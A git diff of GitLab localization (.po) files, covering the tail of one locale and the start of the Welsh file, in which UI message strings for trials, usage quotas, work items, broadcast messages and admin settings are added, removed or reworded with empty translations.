@@ -43509,6 +44212,13 @@ msgstr ""
msgid "To import an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To invite more users, you can reduce the number of users in your namespace to %{free_limit} user or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgid_plural "To invite more users, you can reduce the number of users in your namespace to %{free_limit} users or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "To keep this project going, create a new issue"
msgstr ""
@@ -43725,7 +44435,7 @@ msgstr ""
msgid "Todos|added a to-do item"
msgstr ""
-msgid "Todos|has requested access"
+msgid "Todos|has requested access to %{what} %{which}"
msgstr ""
msgid "Todos|mentioned %{who}"
@@ -44022,24 +44732,12 @@ msgstr ""
msgid "Trials|Day %{daysUsed}/%{duration}"
msgstr ""
-msgid "Trials|Go back to GitLab"
-msgstr ""
-
-msgid "Trials|Skip Trial"
-msgstr ""
-
msgid "Trials|Upgrade %{groupName} to %{planName}"
msgstr ""
-msgid "Trials|You can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You've got %{daysRemaining} day remaining on GitLab %{planName}!"
msgid_plural "Trials|You've got %{daysRemaining} days remaining on GitLab %{planName}!"
msgstr[0] ""
@@ -44146,15 +44844,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
-msgid "Try logging in using your username or email. If you have forgotten your password, try recovering it"
+msgid "Try it out now"
msgstr ""
msgid "Try out GitLab Pipelines"
msgstr ""
-msgid "Try out the new Web IDE"
-msgstr ""
-
msgid "Try the troubleshooting steps here."
msgstr ""
@@ -44326,6 +45021,9 @@ msgstr ""
msgid "Unable to create link to vulnerability"
msgstr ""
+msgid "Unable to create pipeline"
+msgstr ""
+
msgid "Unable to fetch branch list for this project."
msgstr ""
@@ -44368,6 +45066,9 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
+msgid "Unable to load the page"
+msgstr ""
+
msgid "Unable to parse JSON"
msgstr ""
@@ -44548,6 +45249,9 @@ msgstr ""
msgid "Unselect \"Expand variable reference\" if you want to use the variable value as a raw string."
msgstr ""
+msgid "Unselect all"
+msgstr ""
+
msgid "Unstar"
msgstr ""
@@ -44587,6 +45291,9 @@ msgstr ""
msgid "Unverified"
msgstr ""
+msgid "Unverified signature"
+msgstr ""
+
msgid "Up to date"
msgstr ""
@@ -44656,6 +45363,9 @@ msgstr ""
msgid "UpdateProject|Could not set the default branch"
msgstr ""
+msgid "UpdateProject|Could not set the default branch. Do you have a branch named 'HEAD' in your repository? (%{linkStart}How do I fix this?%{linkEnd})"
+msgstr ""
+
msgid "UpdateProject|New visibility level not allowed!"
msgstr ""
@@ -44818,15 +45528,9 @@ msgstr ""
msgid "UsageQuota|Includes artifacts, repositories, wiki, uploads, and other items."
msgstr ""
-msgid "UsageQuota|Increase storage temporarily"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
-msgid "UsageQuota|Learn more about excess storage usage"
-msgstr ""
-
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
@@ -44857,15 +45561,9 @@ msgstr ""
msgid "UsageQuota|Pipelines"
msgstr ""
-msgid "UsageQuota|Purchase more storage"
-msgstr ""
-
msgid "UsageQuota|Purchased storage"
msgstr ""
-msgid "UsageQuota|Purchased storage available"
-msgstr ""
-
msgid "UsageQuota|Purchased storage used"
msgstr ""
@@ -44923,24 +45621,12 @@ msgstr ""
msgid "UsageQuota|The table below shows usage since %{usageSince}"
msgstr ""
-msgid "UsageQuota|This is the total amount of storage used across your projects within this namespace."
-msgstr ""
-
-msgid "UsageQuota|This is the total amount of storage used by projects above the free %{actualRepositorySizeLimit} storage limit."
-msgstr ""
-
msgid "UsageQuota|This namespace has no projects which used shared runners in the current period"
msgstr ""
msgid "UsageQuota|This table omits projects that used 0 CI/CD minutes or 0 shared runners duration"
msgstr ""
-msgid "UsageQuota|Total excess storage used"
-msgstr ""
-
-msgid "UsageQuota|Total namespace storage used"
-msgstr ""
-
msgid "UsageQuota|Uploads"
msgstr ""
@@ -44968,9 +45654,6 @@ msgstr ""
msgid "UsageQuota|Usage of resources across your projects"
msgstr ""
-msgid "UsageQuota|Usage quotas help link"
-msgstr ""
-
msgid "UsageQuota|User settings &gt; Usage quotas"
msgstr ""
@@ -44989,15 +45672,9 @@ msgstr ""
msgid "UsageQuota|You have reached the free storage limit on %{projectsLockedText}. To unlock them, purchase additional storage."
msgstr ""
-msgid "UsageQuota|You used: %{usage} %{limit}"
-msgstr ""
-
msgid "UsageQuota|Your purchased storage is running low. To avoid locked projects, purchase more storage."
msgstr ""
-msgid "UsageQuota|out of %{formattedLimit} of your namespace storage"
-msgstr ""
-
msgid "UsageTrends|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
@@ -45154,6 +45831,9 @@ msgstr ""
msgid "Use the %{strongStart}Test%{strongEnd} option above to create an event."
msgstr ""
+msgid "Use the Apple App Store Connect integration to easily connect to the Apple App Store with Fastlane in CI/CD pipelines."
+msgstr ""
+
msgid "Use the link below to confirm your email address (%{email})"
msgstr ""
@@ -45212,6 +45892,12 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} SCIM identity is deactivated"
+msgstr ""
+
+msgid "User %{user} SCIM identity is reactivated"
+msgstr ""
+
msgid "User %{user} was removed from %{group}."
msgstr ""
@@ -45386,9 +46072,6 @@ msgstr ""
msgid "UserProfile|Activity"
msgstr ""
-msgid "UserProfile|Already reported for abuse"
-msgstr ""
-
msgid "UserProfile|Blocked user"
msgstr ""
@@ -45455,10 +46138,10 @@ msgstr ""
msgid "UserProfile|Subscribe"
msgstr ""
-msgid "UserProfile|This user doesn't have any followers."
+msgid "UserProfile|There are no projects available to be displayed here."
msgstr ""
-msgid "UserProfile|This user doesn't have any personal projects"
+msgid "UserProfile|This user doesn't have any followers."
msgstr ""
msgid "UserProfile|This user has a private profile"
@@ -45626,10 +46309,7 @@ msgstr ""
msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
msgstr ""
-msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE 🎉"
-msgstr ""
-
-msgid "Valid From"
+msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE."
msgstr ""
msgid "Validate"
@@ -45821,6 +46501,9 @@ msgstr ""
msgid "Verified"
msgstr ""
+msgid "Verified commit"
+msgstr ""
+
msgid "Verify SAML Configuration"
msgstr ""
@@ -45833,9 +46516,6 @@ msgstr ""
msgid "Version"
msgstr ""
-msgid "Version %{report_version} for report type %{report_type} has been deprecated, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to parse and ingest this report if valid."
-msgstr ""
-
msgid "Version %{report_version} for report type %{report_type} is unsupported, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to validate this report against the earliest supported versions of this report type, to show all the errors but will not ingest the report"
msgstr ""
@@ -45905,6 +46585,9 @@ msgstr ""
msgid "View all projects"
msgstr ""
+msgid "View and edit markdown, with the option to preview the formatted output."
+msgstr ""
+
msgid "View blame"
msgstr ""
@@ -46003,6 +46686,9 @@ msgstr ""
msgid "View logs"
msgstr ""
+msgid "View markdown"
+msgstr ""
+
msgid "View milestones"
msgstr ""
@@ -46037,6 +46723,9 @@ msgstr[3] ""
msgid "View replaced file @ "
msgstr ""
+msgid "View rich text"
+msgstr ""
+
msgid "View seat usage"
msgstr ""
@@ -46049,6 +46738,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the formatted output in real-time as you edit."
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -46073,9 +46765,6 @@ msgstr ""
msgid "Violation"
msgstr ""
-msgid "Visibility"
-msgstr ""
-
msgid "Visibility and access controls"
msgstr ""
@@ -46808,10 +47497,10 @@ msgstr ""
msgid "Webhooks|Pipeline events"
msgstr ""
-msgid "Webhooks|Regex such as %{REGEX_CODE} is supported."
+msgid "Webhooks|Regular expression"
msgstr ""
-msgid "Webhooks|Regular expression"
+msgid "Webhooks|Regular expressions such as %{REGEX_CODE} are supported."
msgstr ""
msgid "Webhooks|Releases events"
@@ -47263,9 +47952,21 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "WorkItem|%{count} more assignees"
+msgstr ""
+
+msgid "WorkItem|%{invalidWorkItemsList} cannot be added: Cannot assign a non-confidential %{childWorkItemType} to a confidential parent %{parentWorkItemType}. Make the selected %{childWorkItemType} confidential and try again."
+msgstr ""
+
msgid "WorkItem|%{workItemType} deleted"
msgstr ""
+msgid "WorkItem|A non-confidential %{workItemType} cannot be assigned to a confidential parent %{parentWorkItemType}."
+msgstr ""
+
+msgid "WorkItem|Activity"
+msgstr ""
+
msgid "WorkItem|Add"
msgstr ""
@@ -47354,6 +48055,9 @@ msgstr ""
msgid "WorkItem|Expand tasks"
msgstr ""
+msgid "WorkItem|Health status"
+msgstr ""
+
msgid "WorkItem|Incident"
msgstr ""
@@ -47363,7 +48067,7 @@ msgstr ""
msgid "WorkItem|Iteration"
msgstr ""
-msgid "WorkItem|Key result"
+msgid "WorkItem|Key Result"
msgstr ""
msgid "WorkItem|Milestone"
@@ -47396,7 +48100,7 @@ msgstr ""
msgid "WorkItem|Objective"
msgstr ""
-msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this task."
+msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this %{workItemType}."
msgstr ""
msgid "WorkItem|Open"
@@ -47450,6 +48154,12 @@ msgstr ""
msgid "WorkItem|Something went wrong while fetching milestones. Please try again."
msgstr ""
+msgid "WorkItem|Something went wrong while removing child."
+msgstr ""
+
+msgid "WorkItem|Something went wrong while undoing child removal."
+msgstr ""
+
msgid "WorkItem|Something went wrong while updating the %{workItemType}. Please try again."
msgstr ""
@@ -47471,6 +48181,12 @@ msgstr ""
msgid "WorkItem|Test case"
msgstr ""
+msgid "WorkItem|This %{workItemType} is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
+msgid "WorkItem|This objective is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
msgid "WorkItem|This work item is not available. It either doesn't exist or you don't have permission to view it."
msgstr ""
@@ -47577,6 +48293,9 @@ msgstr ""
msgid "You are about to delete this project containing:"
msgstr ""
+msgid "You are about to incur additional charges"
+msgstr ""
+
msgid "You are about to transfer the control of your account to %{group_name} group. This action is NOT reversible, you won't be able to access any of your groups and projects outside of %{group_name} once this transfer is complete."
msgstr ""
@@ -47709,9 +48428,6 @@ msgstr ""
msgid "You can also star a label to make it a priority label."
msgstr ""
-msgid "You can also test your %{gitlab_ci_yml} in %{lint_link_start}CI Lint%{lint_link_end}"
-msgstr ""
-
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
@@ -47802,6 +48518,9 @@ msgstr ""
msgid "You can invite another group to %{project_name}."
msgstr ""
+msgid "You can modify this job's CI/CD variables before running it again."
+msgstr ""
+
msgid "You can move around the graph by using the arrow keys."
msgstr ""
@@ -47841,9 +48560,6 @@ msgstr ""
msgid "You can specify notification level per group or per project."
msgstr ""
-msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
-msgstr ""
-
msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
msgstr ""
@@ -47859,7 +48575,7 @@ msgstr ""
msgid "You cannot add any more epics. This epic already has maximum number of child epics."
msgstr ""
-msgid "You cannot approve your own deployment."
+msgid "You cannot approve your own deployment. This configuration can be adjusted in the protected environment settings."
msgstr ""
msgid "You cannot combine replace_ids with add_ids or remove_ids"
@@ -47952,7 +48668,7 @@ msgstr ""
msgid "You don't have any recent searches"
msgstr ""
-msgid "You don't have permission to review this deployment. Contact the project or group owner for help."
+msgid "You don't have permission to approve this deployment. Contact the project or group owner for help."
msgstr ""
msgid "You don't have permission to view this epic"
@@ -47983,6 +48699,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "You have already reported this user"
+msgstr ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -48100,6 +48819,9 @@ msgstr ""
msgid "You must provide a valid current password"
msgstr ""
+msgid "You must provide at least one filter argument for this query"
+msgstr ""
+
msgid "You must provide your current password in order to change it."
msgstr ""
@@ -48253,8 +48975,12 @@ msgstr ""
msgid "You've rejected %{user}"
msgstr ""
-msgid "You've successfully purchased the %{plan} plan subscription for %{seats} and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
-msgstr ""
+msgid "You've successfully purchased the %{plan} plan subscription for 1 user and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgid_plural "You've successfully purchased the %{plan} plan subscription for %{quantity} users and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
msgid "YouTube"
msgstr ""
@@ -48494,6 +49220,9 @@ msgstr ""
msgid "Your name"
msgstr ""
+msgid "Your namespace %{namespace_name} has reached the %{free_limit} user limit"
+msgstr ""
+
msgid "Your namespace %{namespace_name} is over the %{free_limit} user limit and has been placed in a read-only state."
msgstr ""
@@ -48521,7 +49250,7 @@ msgstr ""
msgid "Your password reset token has expired."
msgstr ""
-msgid "Your personal access token has expired"
+msgid "Your personal access tokens have expired"
msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
@@ -48600,6 +49329,9 @@ msgstr ""
msgid "Your username is %{username}."
msgstr ""
+msgid "Your work"
+msgstr ""
+
msgid "You’re about to permanently delete the %{issuableType} ‘%{strongOpen}%{issuableTitle}%{strongClose}’. To avoid data loss, consider %{strongOpen}closing this %{issuableType}%{strongClose} instead. Once deleted, it cannot be undone or recovered."
msgstr ""
@@ -48807,6 +49539,9 @@ msgstr ""
msgid "can not be changed for existing notes"
msgstr ""
+msgid "can not be changed to %{new_type}"
+msgstr ""
+
msgid "can not be set for this resource"
msgstr ""
@@ -49051,10 +49786,13 @@ msgstr ""
msgid "ciReport|Code Quality"
msgstr ""
-msgid "ciReport|Code Quality failed loading results"
+msgid "ciReport|Code Quality failed to load results"
msgstr ""
-msgid "ciReport|Code Quality test metrics results are being parsed"
+msgid "ciReport|Code Quality hasn't changed."
+msgstr ""
+
+msgid "ciReport|Code Quality is loading"
msgstr ""
msgid "ciReport|Code quality degraded due to 1 new issue"
@@ -49213,9 +49951,6 @@ msgstr ""
msgid "ciReport|New vulnerabilities are vulnerabilities that the security scan detects in the merge request that are different to existing vulnerabilities in the default branch."
msgstr ""
-msgid "ciReport|No changes to Code Quality."
-msgstr ""
-
msgid "ciReport|No changes to code quality"
msgstr ""
@@ -49716,9 +50451,6 @@ msgstr ""
msgid "is not a descendant of the Group owning the template"
msgstr ""
-msgid "is not a valid URL."
-msgstr ""
-
msgid "is not a valid X509 certificate."
msgstr ""
@@ -50243,6 +50975,9 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
+msgid "must be in ISO 8601 format"
+msgstr ""
+
msgid "must be in same hierarchy as custom role's namespace"
msgstr ""
@@ -50330,12 +51065,6 @@ msgstr ""
msgid "nounSeries|%{item}, and %{lastItem}"
msgstr ""
-msgid "only %{parent_types} can be parent of Task."
-msgstr ""
-
-msgid "only Task can be assigned as a child in hierarchy."
-msgstr ""
-
msgid "only available on top-level groups."
msgstr ""
@@ -50764,6 +51493,9 @@ msgstr ""
msgid "verify ownership"
msgstr ""
+msgid "version %{report_version} for report type %{report_type} is deprecated. However, GitLab will still attempt to parse and ingest this report. Upgrade the security report to one of the following versions: %{current_schema_versions}."
+msgstr ""
+
msgid "version %{versionIndex}"
msgstr ""
diff --git a/locale/cy_GB/gitlab.po b/locale/cy_GB/gitlab.po
index 04d719002e2..877015a4a8e 100644
--- a/locale/cy_GB/gitlab.po
+++ b/locale/cy_GB/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: cy\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 16\n"
-"PO-Revision-Date: 2022-12-10 06:42\n"
+"PO-Revision-Date: 2023-01-10 06:47\n"
msgid " %{start} to %{end}"
msgstr " %{start} i %{end}"
@@ -1114,6 +1114,9 @@ msgstr ""
msgid "%{itemsCount} issues with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{key} is not a valid URL."
+msgstr ""
+
msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
msgstr ""
@@ -1186,6 +1189,9 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
+msgid "%{linkStart} Learn more%{linkEnd}."
+msgstr ""
+
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
@@ -1321,6 +1327,12 @@ msgstr ""
msgid "%{ref} cannot be added: %{error}"
msgstr ""
+msgid "%{relation_type} epic does not exist."
+msgstr ""
+
+msgid "%{relation_type} epic is not present."
+msgstr ""
+
msgid "%{releases} release"
msgid_plural "%{releases} releases"
msgstr[0] ""
@@ -1342,6 +1354,15 @@ msgstr ""
msgid "%{reportType} detected no new vulnerabilities."
msgstr ""
+msgid "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approval%{approvalEnd} from: %{approverType}%{approvers}"
+msgid_plural "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approvals%{approvalEnd} from: %{approverType}%{approvers}"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+msgstr[5] ""
+
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
@@ -1396,9 +1417,6 @@ msgstr[3] ""
msgstr[4] ""
msgstr[5] ""
-msgid "%{size} %{unit}"
-msgstr ""
-
msgid "%{size} GiB"
msgstr ""
@@ -1540,15 +1558,6 @@ msgstr ""
msgid "%{text} is available"
msgstr ""
-msgid "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approval from %{approverType}%{approvers}"
-msgid_plural "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approvals from %{approverType}%{approvers}"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
-msgstr[4] ""
-msgstr[5] ""
-
msgid "%{timebox_type} does not support burnup charts"
msgstr ""
@@ -2069,7 +2078,7 @@ msgstr[4] ""
msgstr[5] ""
msgid "1 user"
-msgid_plural "%{num} users"
+msgid_plural "%d users"
msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
@@ -2308,6 +2317,9 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
+msgid "A template for starting a new TYPO3 project"
+msgstr ""
+
msgid "A title is required"
msgstr ""
@@ -2452,9 +2464,6 @@ msgstr ""
msgid "AWS secret access key (Optional)"
msgstr ""
-msgid "AWS service error: %{error}"
-msgstr ""
-
msgid "Abort"
msgstr ""
@@ -2503,9 +2512,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied: %{error}"
-msgstr ""
-
msgid "Access expires"
msgstr ""
@@ -2665,7 +2671,7 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
-msgid "Activated on"
+msgid "Activated"
msgstr ""
msgid "Active"
@@ -2743,6 +2749,9 @@ msgstr ""
msgid "Add a collapsible section"
msgstr ""
+msgid "Add a comment"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -3121,15 +3130,18 @@ msgstr ""
msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
msgstr ""
-msgid "AdminArea|Billable users"
-msgstr ""
-
msgid "AdminArea|Blocked users"
msgstr ""
msgid "AdminArea|Bots"
msgstr ""
+msgid "AdminArea|Breakdown of Billable users"
+msgstr ""
+
+msgid "AdminArea|Breakdown of Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Components"
msgstr ""
@@ -3211,9 +3223,18 @@ msgstr ""
msgid "AdminArea|Stopping jobs failed"
msgstr ""
+msgid "AdminArea|Total Billable users"
+msgstr ""
+
+msgid "AdminArea|Total Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Total users"
msgstr ""
+msgid "AdminArea|Totals"
+msgstr ""
+
msgid "AdminArea|Updated %{last_update_time}"
msgstr ""
@@ -3241,6 +3262,12 @@ msgstr ""
msgid "AdminArea|You’re about to stop all jobs. This will halt all current jobs that are running."
msgstr ""
+msgid "AdminArea|active users + blocked users"
+msgstr ""
+
+msgid "AdminArea|total billable + total non-billable"
+msgstr ""
+
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
@@ -3295,6 +3322,9 @@ msgstr ""
msgid "AdminSettings|Auto DevOps domain"
msgstr ""
+msgid "AdminSettings|By default, set a limit to 0 to have no limit."
+msgstr ""
+
msgid "AdminSettings|CI/CD limits"
msgstr ""
@@ -3364,6 +3394,9 @@ msgstr ""
msgid "AdminSettings|Enable kuromoji custom analyzer: Search"
msgstr ""
+msgid "AdminSettings|Enable migrating GitLab groups and projects by direct transfer"
+msgstr ""
+
msgid "AdminSettings|Enable pipeline suggestion banner"
msgstr ""
@@ -3451,6 +3484,9 @@ msgstr ""
msgid "AdminSettings|Maximum number of custom domains per project"
msgstr ""
+msgid "AdminSettings|Maximum number of downstream pipelines in a pipeline's hierarchy tree"
+msgstr ""
+
msgid "AdminSettings|Maximum number of jobs in a single pipeline"
msgstr ""
@@ -3538,9 +3574,6 @@ msgstr ""
msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
-msgid "AdminSettings|Set limit to 0 to disable it."
-msgstr ""
-
msgid "AdminSettings|Set the expiration time of authentication tokens of newly registered group runners."
msgstr ""
@@ -3586,6 +3619,9 @@ msgstr ""
msgid "AdminSettings|There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
msgstr ""
+msgid "AdminSettings|This limit cannot be disabled. Set to 0 to block all DAG dependencies."
+msgstr ""
+
msgid "AdminSettings|To enable Registration Features, first enable Service Ping."
msgstr ""
@@ -3832,7 +3868,7 @@ msgstr ""
msgid "AdminUsers|Is using seat"
msgstr ""
-msgid "AdminUsers|Issues authored by this user are hidden from other users."
+msgid "AdminUsers|Issues and merge requests authored by this user are hidden from other users."
msgstr ""
msgid "AdminUsers|It's you!"
@@ -3877,6 +3913,9 @@ msgstr ""
msgid "AdminUsers|Personal projects, group and user history will be left intact"
msgstr ""
+msgid "AdminUsers|Private profile"
+msgstr ""
+
msgid "AdminUsers|Quota of CI/CD minutes"
msgstr ""
@@ -4135,6 +4174,9 @@ msgstr ""
msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
+msgid "After the Apple App Store Connect integration is activated, the following protected variables will be created for CI/CD use."
+msgstr ""
+
msgid "After the export is complete, download the data file from a notification email or from this page. You can then import the data file from the %{strong_text_start}Create new group%{strong_text_end} page of another GitLab instance."
msgstr ""
@@ -4777,9 +4819,6 @@ msgstr ""
msgid "An error occurred while approving, please try again."
msgstr ""
-msgid "An error occurred while authorizing your role"
-msgstr ""
-
msgid "An error occurred while checking group path. Please refresh and try again."
msgstr ""
@@ -4948,15 +4987,6 @@ msgstr ""
msgid "An error occurred while loading projects."
msgstr ""
-msgid "An error occurred while loading the Jobs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Needs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Test Reports tab."
-msgstr ""
-
msgid "An error occurred while loading the blob controls."
msgstr ""
@@ -4990,9 +5020,6 @@ msgstr ""
msgid "An error occurred while loading the notification settings. Please try again."
msgstr ""
-msgid "An error occurred while loading the pipeline."
-msgstr ""
-
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -5248,6 +5275,18 @@ msgstr ""
msgid "Append the comment with %{tableflip}"
msgstr ""
+msgid "AppleAppStore|The Apple App Store Connect Issuer ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Key ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Private Key."
+msgstr ""
+
+msgid "AppleAppStore|Use GitLab to build and release an app in the Apple App Store."
+msgstr ""
+
msgid "Application"
msgstr ""
@@ -5398,9 +5437,6 @@ msgstr ""
msgid "ApplicationSettings|Send a confirmation email during sign up. New users must confirm their email address before they can log in."
msgstr ""
-msgid "ApplicationSettings|Send confirmation email on sign-up"
-msgstr ""
-
msgid "ApplicationSettings|Sign-up enabled"
msgstr ""
@@ -5494,6 +5530,9 @@ msgstr ""
msgid "Applying suggestions..."
msgstr ""
+msgid "Approval options"
+msgstr ""
+
msgid "Approval rules"
msgstr ""
@@ -5650,6 +5689,9 @@ msgstr ""
msgid "Approvals are optional."
msgstr ""
+msgid "Approvals required"
+msgstr ""
+
msgid "Approvals|Section: %section"
msgstr ""
@@ -6217,6 +6259,9 @@ msgstr ""
msgid "AuditStreams|Custom HTTP headers (optional)"
msgstr ""
+msgid "AuditStreams|Defines which streaming events are captured"
+msgstr ""
+
msgid "AuditStreams|Delete %{link}"
msgstr ""
@@ -6232,12 +6277,18 @@ msgstr ""
msgid "AuditStreams|Edit %{link}"
msgstr ""
+msgid "AuditStreams|Event filtering (optional)"
+msgstr ""
+
msgid "AuditStreams|Header"
msgstr ""
msgid "AuditStreams|Maximum of %{number} HTTP headers has been reached."
msgstr ""
+msgid "AuditStreams|No filters available. %{linkStart}How do I add a filter?%{linkEnd}"
+msgstr ""
+
msgid "AuditStreams|Remove custom header"
msgstr ""
@@ -7825,9 +7876,93 @@ msgstr ""
msgid "Broadcast Messages"
msgstr ""
+msgid "BroadcastMessages|Add broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Allow users to dismiss the broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Banner"
+msgstr ""
+
+msgid "BroadcastMessages|Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Dark"
+msgstr ""
+
+msgid "BroadcastMessages|Dismissable"
+msgstr ""
+
+msgid "BroadcastMessages|Ends at"
+msgstr ""
+
+msgid "BroadcastMessages|Green"
+msgstr ""
+
+msgid "BroadcastMessages|Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light"
+msgstr ""
+
+msgid "BroadcastMessages|Light Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Light Green"
+msgstr ""
+
+msgid "BroadcastMessages|Light Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light Red"
+msgstr ""
+
+msgid "BroadcastMessages|Message"
+msgstr ""
+
+msgid "BroadcastMessages|Notification"
+msgstr ""
+
+msgid "BroadcastMessages|Paths can contain wildcards, like */welcome"
+msgstr ""
+
+msgid "BroadcastMessages|Red"
+msgstr ""
+
+msgid "BroadcastMessages|Starts at"
+msgstr ""
+
+msgid "BroadcastMessages|Target Path"
+msgstr ""
+
+msgid "BroadcastMessages|Target roles"
+msgstr ""
+
+msgid "BroadcastMessages|The broadcast message displays only to users in projects and groups who have these roles."
+msgstr ""
+
+msgid "BroadcastMessages|Theme"
+msgstr ""
+
+msgid "BroadcastMessages|There was an error adding broadcast message."
+msgstr ""
+
+msgid "BroadcastMessages|There was an error updating broadcast message."
+msgstr ""
+
msgid "BroadcastMessages|There was an issue deleting this message, please try again later."
msgstr ""
+msgid "BroadcastMessages|Type"
+msgstr ""
+
+msgid "BroadcastMessages|Update broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Your message here"
+msgstr ""
+
msgid "Browse Directory"
msgstr ""
@@ -8428,6 +8563,9 @@ msgstr ""
msgid "Cannot promote issue due to insufficient permissions."
msgstr ""
+msgid "Cannot push to source branch"
+msgstr ""
+
msgid "Cannot refer to a group milestone by an internal id!"
msgstr ""
@@ -8539,13 +8677,10 @@ msgstr ""
msgid "Change your password or recover your current one"
msgstr ""
-msgid "ChangeReviewer|Reviewer changed from %{old} to %{new}"
+msgid "ChangeReviewer|%{added_reviewers_text}%{removed_reviewers_text}"
msgstr ""
-msgid "ChangeReviewer|Reviewer changed to %{new}"
-msgstr ""
-
-msgid "ChangeReviewer|Unassigned"
+msgid "ChangeReviewer|All reviewers were removed."
msgstr ""
msgid "ChangeTypeAction|Cherry-pick"
@@ -8836,6 +8971,9 @@ msgstr ""
msgid "Checkout|Country"
msgstr ""
+msgid "Checkout|Coupon code (optional)"
+msgstr ""
+
msgid "Checkout|Create a new group"
msgstr ""
@@ -8995,12 +9133,6 @@ msgstr ""
msgid "Child epic"
msgstr ""
-msgid "Child epic does not exist."
-msgstr ""
-
-msgid "Child epic doesn't exist."
-msgstr ""
-
msgid "Child issues and epics"
msgstr ""
@@ -9184,6 +9316,9 @@ msgstr ""
msgid "CiVariables|This %{entity} has %{currentVariableCount} defined CI/CD variables. The maximum number of variables per %{entity} is %{maxVariableLimit}. To add new variables, you must reduce the number of defined variables."
msgstr ""
+msgid "CiVariables|Trigger this manual action"
+msgstr ""
+
msgid "CiVariables|Type"
msgstr ""
@@ -9313,6 +9448,9 @@ msgstr ""
